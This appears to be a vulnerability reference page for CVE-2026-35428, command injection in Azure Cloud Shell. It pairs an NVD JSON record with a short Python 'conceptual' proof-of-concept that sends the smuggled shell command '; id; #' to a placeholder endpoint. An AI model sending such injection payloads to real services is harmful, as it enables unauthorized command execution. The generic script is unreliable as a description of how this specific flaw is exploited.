CVE-2026-35428

# Conceptual Proof of Concept for CVE-2026-35428 # This script demonstrates how a malicious command might be injected. import requests target_url = "https://azure-shell-target/api/endpoint" # The payload attempts to inject a shell command using a semicolon injection_payload = "; id; #" params = { "user_input": injection_payload } try: response = requests.get(target_url, params=params) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-35428", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:34.667", "lastModified": "2026-05-08T20:02:29.777", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a command ('command injection') in Azure Cloud Shell allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_cloud_shell:-:*:*:*:*:*:*:*", "matchCriteriaId": "37711447-A959-4A77-B367-99BD19AC726A"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}